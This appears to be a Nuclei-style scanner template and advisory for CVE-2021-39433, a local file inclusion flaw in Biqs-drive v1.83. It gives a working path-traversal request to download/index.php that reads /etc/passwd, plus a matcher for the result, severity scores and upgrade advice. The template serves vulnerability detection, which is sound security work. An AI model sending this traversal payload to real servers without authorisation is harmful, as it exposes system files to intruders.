A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
PoC代码[已公开]
id: CVE-2021-39433
info:
name: BIQS IT Biqs-drive v1.83 Local File Inclusion
author: Veshraj
severity: high
description: A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
remediation: |
Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.
reference:
- https://github.com/PinkDraconian/CVE-2021-39433/blob/main/README.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39433
- https://biqs-drive.be/
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-39433
epss-score: 0.74317
epss-percentile: 0.98801
cpe: cpe:2.3:a:biqs:biqsdrive:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: biqs
product: biqsdrive
tags: cve2021,cve,lfi,biqsdrive,biqs
http:
- method: GET
path:
- "{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100ada967a63d3262f3de603eced05ba37fc8c4206db74213105a5bc9d82b3799d3022100b5698a99277b55a958e3ffc067f31cd5703bd0084ade3b67dc7441ed2a139e2b:922c64590222798bb761d5b6d8e72950